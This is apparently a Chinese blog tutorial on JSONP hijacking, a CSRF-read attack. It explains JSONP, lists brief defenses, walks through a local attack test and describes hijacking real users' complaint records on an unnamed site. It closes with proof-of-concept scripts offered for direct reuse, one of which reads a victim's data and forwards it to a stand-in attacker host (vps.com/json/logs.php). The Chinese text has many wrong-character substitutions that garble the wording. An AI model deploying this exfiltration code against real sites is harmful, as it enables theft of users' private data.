1.1 jsonp
JSONP 全称是 JSON with Padding ,是基于 JSON 格式的为办理跨域要求资源而产生的办理方案。他实现的基本事理是利用了 HTML 里 <script></script> 元素标签,远程调用 JSON 文件来实现数据通报。如要在 a.com 域下获取存在 b.com 的 JSON 数据( getUsers.JSON )。
说白了便是一种跨域的json数据传输的办理方案。

1.2 jsonp挟制攻击
由于jsonp许可跨域要求,并且许可前端可以在<script></script>中直接解析返回的json形式的跨域数据,如果没有做到得当的防御,攻击者就可以做到jsonp挟制攻击。
Jsonp挟制攻击时csrf攻击的一种。csrf攻击分csrf读和csrf写,jsonp挟制是csrf读的一种详细攻击形式。常日攻击者通过这种形式可以读取到受害者的敏感数据。
可以看下wooyun镜像,搜索jsonp可以查到大量案例。
来看一个大略的例子感想熏染一下。
http://www.anquan.us/static/bugs/wooyun-2013-019969.html
攻击者在script标签中直接解析了跨域传输的json敏感数据。alert出来了,当然你也可以发出去做log记录,总之js都解析到了啥不能干?
1.3 jsonp防御
既然是csrf攻击的一种,还是和csrf防御一样呗。referer/csrf_token/验证码等机制。
2 本地yy测试
实践出真知,动手本地yy测试一下jsonp攻击流程。
2.1 理清思路
测试的思路如下。
1、js.html ————实际的挟制poc,实战中放到黑客掌握的vps上
2、api.php ————仿照有漏洞的jsonp接口,在有漏洞的web做事器上
3、logs.php ————黑客vps记录挟制记录的后端页面
2.2 环境准备
api.php
仿照供应jsonp传输的敏感数据的接口。
接口访问效果,输出自己的cookie映射内容。
用js.html仿照攻击者实行的js来挟制jsonp
这里转发的ip也一样,实战是黑客自己的vps。
logs.php
2.3 整体走一个
打开js.html,直接本地打开,仿照的动作是受害者打开我vps上的csrfpoc
第一个ajax要求,仿照csrf向做事器要求返回账号敏感信息。
第二个ajax要求,仿照vps的jspoc成功解析到敏感信息,并且做一个log记录。(真实环境该当在vps上做log记录,这里为了方便和漏洞做事器同一个ip)
做事端记录。
2.4 延伸
如果返回的jsonp的json数组,不是一个json工具。
可以用下标直接取出。
3 实战jsonp挟制
yy完了,看一个真实例子。
这个要求包jsonp要求,内容返回的是用户的投诉记录,无token,无验证referer,该要求可以被挟制!
演示如下:
在登录账号(已经有投诉记录的)的情形下
凡访问加载这个poc的页面的用户,他的投诉记录都会被我直接挟制,并且做记录
4 挟制poc
分享下我的poc,大家碰着大略的接口可以直接套用了。
Script直接解析json
<script>
function hack(json){
alert(JSON.stringify(json));//接下来可以做转发记录
}
</script>
<script src=”http://127.0.0.1:8081/js.php?callback=hack”></script>
$.getJSON
<script type=”text/javascript” src=” http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js “></script>
<script type=”text/javascript”>
$.getJSON(“http://vulweb.com/api/getMyFeedbackList?callback=?”, function(json){
var data=JSON.stringify(json);
//将data转发记录
$.get(“http://vps.com/json/logs.php?mylogs=”+data,function(res,status){
alert (‘ok’) ;
});
});
</script>
5 后记
本菜鸡对前端理解也不深,也是最近打仗的jsonp挟制,文中缺点难免,欢迎示正。
常见的csrf数据挟制方法还有很多,例如由于crossadmin.xml配置不对导致的flash跨域挟制。往后碰着可以记录学习一下。
关于前端挟制还有很多玩法,本文只是做一个最大略的jsonp-api数据挟制,乌云镜像上有很多是高端组合玩法的案例。